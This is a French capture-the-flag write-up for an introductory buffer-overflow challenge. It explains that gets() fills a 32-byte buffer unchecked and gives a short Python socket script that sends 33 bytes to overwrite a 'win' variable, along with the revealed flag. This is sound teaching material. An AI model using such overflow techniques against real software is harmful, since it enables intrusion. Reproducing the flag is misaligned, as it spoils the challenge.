BOF Intro

Catégorie: Pwn Difficulté: - Flag: CTFREI{buff3r_0v3rfl0w_1ntr0!}

Challenge

Description


Premier challenge d'introduction au pwn, analyse le script en C qui est donné et tente d'avoir le flag !

Connexion: nc intro.ctfrei.fr 7000

Solution

La fonction gets utilise la variable buffer pour récupérer notre entrée. La vulnérabilité ici est que ce buffer est un tableau de 32 chars et qu'aucune vérification n'est faite pour limiter notre entrée.

On peut donc envoyer plus de 32 caractères et ceux au-delà du buffer vont écraser les variables suivantes, donc ici la valeur de win.

En python ça donne :

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('intro.ctfrei.fr', 7000))
sock.recv(2048)
sock.send(b'a' * 33 + b'\n')    # On ajoute un retour à la ligne avec \n
print(sock.recv(2048).decode())
# Félicitations ! Voici le flag: CTFREI{buff3r_0v3rfl0w_1ntr0!}

Dernière mise à jour

Cet article vous a-t-il été utile ?